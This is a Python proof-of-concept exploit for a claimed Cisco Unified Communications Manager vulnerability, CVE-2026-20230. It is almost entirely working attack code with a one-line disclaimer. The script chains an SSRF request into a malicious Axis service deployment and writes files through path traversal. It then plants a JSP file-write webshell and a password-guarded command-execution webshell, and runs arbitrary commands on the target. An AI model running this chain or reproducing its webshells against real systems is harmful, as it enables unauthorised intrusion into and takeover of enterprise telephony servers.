1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
| #!/usr/bin/env python3
"""
CVE-2026-20230 - Cisco Unified Communications Manager (CUCM) Arbitrary File Write RCE PoC
Affected: Cisco Unified Communication Manager 15.0.1.13901-2
Attack Chain:
1. Get real hostname via /webdialer/Version.jws?wsdl
2. SSRF via /cmplatform/installClusterStatusExecute to create Axis service (randomR11)
3. Use randomR11 service to write webshell (aaa.jsp)
4. Use aaa.jsp to write command execution shell (c.jsp)
5. Execute arbitrary commands via c.jsp
DISCLAIMER: For authorized security research and educational purposes only.
"""
import requests
import urllib.parse
import sys
import argparse
import re
requests.packages.urllib3.disable_warnings()
def get_hostname(target):
"""
Step 1: Get the real hostname of the target.
The SSRF filter blocks 127.0.0.1 and localhost, but allows the real hostname.
"""
url = f"https://{target}/webdialer/Version.jws?wsdl"
print(f"[*] Step 1: Fetching hostname from {url}")
try:
resp = requests.get(url, verify=False, timeout=10)
if resp.status_code == 200:
# Extract hostname from WSDL - typically in <wsdl:service> or similar
# The actual hostname is embedded in the WSDL response
match = re.search(r'location="https?://([^"/]+)', resp.text)
if match:
hostname = match.group(1)
print(f"[+] Hostname found: {hostname}")
return hostname
else:
# Fallback: try to find any hostname-like pattern
print("[!] Could not parse hostname from WSDL, using target IP")
return target
else:
print(f"[-] Failed to get hostname, HTTP {resp.status_code}")
return None
except Exception as e:
print(f"[-] Error getting hostname: {e}")
return None
def ssrf_create_axis_service(target, hostname):
"""
Step 2: SSRF to create an Axis service (randomR11) that allows arbitrary file write.
The SSRF works by:
- Sending a request to /cmplatform/installClusterStatusExecute
- The 'hostname' parameter is used to construct an internal URL
- We inject a path traversal + Axis deployment descriptor
- The `!--` escapes the normal installstages XML output
- LogHandler writes the deployment descriptor to aaa.jsp
The payload creates an Axis service named 'randomR11' backed by java.util.Random,
allowing us to call any method (*) including nextInt() with arbitrary arguments.
"""
# Base path that the SSRF will request internally
# vm01 is the real hostname, used as prefix to reach the internal API
base_path = f"{hostname}/webdialer/services/AdminService/platformcom/api/v1/software/installstages/"
# The deployment descriptor injected after !-- (which closes XML comment in response)
# This creates an Axis LogHandler that writes the deployment XML to aaa.jsp
deployment_xml = (
'!--><deployment xmlns="http://xml.apache.org/axis/wsdd/" '
'xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">'
'<service name="randomR11" provider="java:RPC">'
'<requestFlow>'
'<handler type="java:org.apache.axis.handlers.LogHandler">'
'<parameter name="LogHandler.fileName" '
'value="../../../../../../../../../../../../common/log/taos-log-a/'
'tomcat/webapps/platform-services/axis2-web/aaa.jsp"/>'
'<parameter name="LogHandler.writeToConsole" value="false"/>'
'</handler>'
'</requestFlow>'
'<parameter name="className" value="java.util.Random"/>'
'<parameter name="allowedMethods" value="*"/>'
'</service>'
'</deployment'
)
# URL-encode the deployment XML (double-encoded since it goes through two layers)
# First layer: the entire hostname param is URL-decoded by the servlet
# Second layer: the SSRF target URL-decodes the query string
encoded_deployment = urllib.parse.quote(deployment_xml, safe='')
payload_path = f"{base_path}?method={encoded_deployment}"
# URL-encode the entire payload as it goes into the hostname query param
hostname_param = urllib.parse.quote(payload_path, safe='')
url = f"https://{target}/cmplatform/installClusterStatusExecute"
params = {
"action": "clusterNodeInstallStatus",
"hostname": hostname_param,
"filename": "bbbbbb"
}
print(f"[*] Step 2: Creating Axis service via SSRF")
print(f"[*] URL: {url}")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": f"https://{target}/webdialer/services",
}
try:
resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
print(f"[*] Response status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Axis service creation request sent successfully")
return True
else:
print(f"[-] Unexpected response: {resp.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def verify_axis_service(target):
"""
Step 2b: Verify that the randomR11 service was deployed.
Visit /webdialer/services to list available services.
"""
url = f"https://{target}/webdialer/services"
print(f"[*] Step 2b: Verifying Axis service deployment at {url}")
try:
resp = requests.get(url, verify=False, timeout=10)
if resp.status_code == 200 and "randomR11" in resp.text:
print("[+] randomR11 service confirmed deployed!")
return True
else:
print(f"[!] Could not confirm randomR11 service (status: {resp.status_code})")
return False
except Exception as e:
print(f"[-] Error verifying service: {e}")
return False
def write_initial_webshell(target):
"""
Step 3: Use the randomR11 service to write a simple file-write webshell.
The randomR11 service is backed by java.util.Random, and we call nextInt()
with a CDATA-wrapped JSP payload. The LogHandler writes this to aaa.jsp.
The webshell code:
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(
application.getRealPath("/")+request.getParameter("f"))).write(
request.getParameter("t").getBytes());%>
This takes params f (filename) and t (content) to write arbitrary files.
"""
# JSP webshell that takes f=filename and t=content to write files
webshell_code = (
'<%if(request.getParameter("f")!=null)'
'(new java.io.FileOutputStream('
'application.getRealPath("/")+request.getParameter("f")))'
'.write(request.getParameter("t").getBytes());%>'
)
payload = f"<![CDATA[\n{webshell_code}\n]]>"
url = f"https://{target}/webdialer/services/randomR11"
params = {
"method": "nextInt",
"arg0": payload
}
print(f"[*] Step 3: Writing initial webshell (aaa.jsp)")
print(f"[*] URL: {url}")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": f"https://{target}/webdialer/services",
}
try:
resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
print(f"[*] Response status: {resp.status_code}")
# May return error even on success (the payload is not a valid int)
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def write_command_shell(target):
"""
Step 4: Use aaa.jsp to write the command execution shell (c.jsp).
aaa.jsp params:
f = relative path to write to
t = URL-encoded JSP command shell content
The command shell:
<% if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(
request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }
out.print("</pre>");
} %>
Takes pwd=123 for auth, i=command to execute.
"""
# Command execution JSP
cmd_shell = (
'<% if("123".equals(request.getParameter("pwd"))){'
' java.io.InputStream in = Runtime.getRuntime().exec('
'request.getParameter("i")).getInputStream();'
' int a = -1;'
' byte[] b = new byte[2048];'
' out.print("<pre>");'
' while((a=in.read(b))!=-1){ out.println(new String(b)); }'
' out.print("</pre>");'
' } %>'
)
url = f"https://{target}/platform-services/axis2-web/aaa.jsp"
params = {
"f": "../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/c.jsp",
"t": cmd_shell
}
print(f"[*] Step 4: Writing command execution shell (c.jsp)")
print(f"[*] URL: {url}")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
try:
resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
print(f"[*] Response status: {resp.status_code}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def execute_command(target, command="id"):
"""
Step 5: Execute arbitrary commands via c.jsp.
c.jsp params:
pwd = 123 (authentication)
i = command to execute
"""
url = f"https://{target}/platform-services/axis2-web/c.jsp"
params = {
"pwd": "123",
"i": command
}
print(f"[*] Step 5: Executing command: {command}")
print(f"[*] URL: {url}")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
try:
resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
print(f"[*] Response status: {resp.status_code}")
if resp.status_code == 200:
print(f"[+] Command output:\n{resp.text}")
return resp.text
else:
print(f"[-] Failed: HTTP {resp.status_code}")
print(resp.text)
return None
except Exception as e:
print(f"[-] Error: {e}")
return None
def check_vulnerable(target):
"""
Quick check if target appears to be a CUCM instance.
"""
url = f"https://{target}/webdialer/Version.jws?wsdl"
print(f"[*] Checking if target is CUCM: {url}")
try:
resp = requests.get(url, verify=False, timeout=10)
if resp.status_code == 200 and ("webdialer" in resp.text.lower() or "wsdl" in resp.text.lower()):
print("[+] Target appears to be CUCM - WSDL endpoint accessible")
return True
print("[-] Target does not appear to be vulnerable CUCM")
return False
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def full_exploit(target, command="id"):
"""Run the full exploit chain."""
print(f"\n{'='*60}")
print(f" CVE-2026-20230 CUCM RCE Exploit")
print(f" Target: {target}")
print(f"{'='*60}\n")
# Step 1: Get hostname
hostname = get_hostname(target)
if not hostname:
print("[-] Failed to get hostname, aborting")
return False
# Step 2: Create Axis service via SSRF
if not ssrf_create_axis_service(target, hostname):
print("[-] Failed to create Axis service, aborting")
return False
# Step 2b: Verify
verify_axis_service(target)
# Step 3: Write initial webshell
if not write_initial_webshell(target):
print("[-] Failed to write initial webshell, aborting")
return False
# Step 4: Write command shell
if not write_command_shell(target):
print("[-] Failed to write command shell, aborting")
return False
# Step 5: Execute command
execute_command(target, command)
return True
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-20230 CUCM Arbitrary File Write RCE PoC"
)
parser.add_argument("target", help="Target host (e.g., 192.168.182.50)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--check", action="store_true", help="Only check if target is vulnerable")
parser.add_argument("--hostname", help="Provide hostname manually (skip auto-detection)")
parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)")
args = parser.parse_args()
# Format target with port if needed
target = args.target
if ":" not in target and args.port != 443:
target = f"{target}:{args.port}"
if args.check:
check_vulnerable(target)
return
full_exploit(target, args.command)
if __name__ == "__main__":
main()
|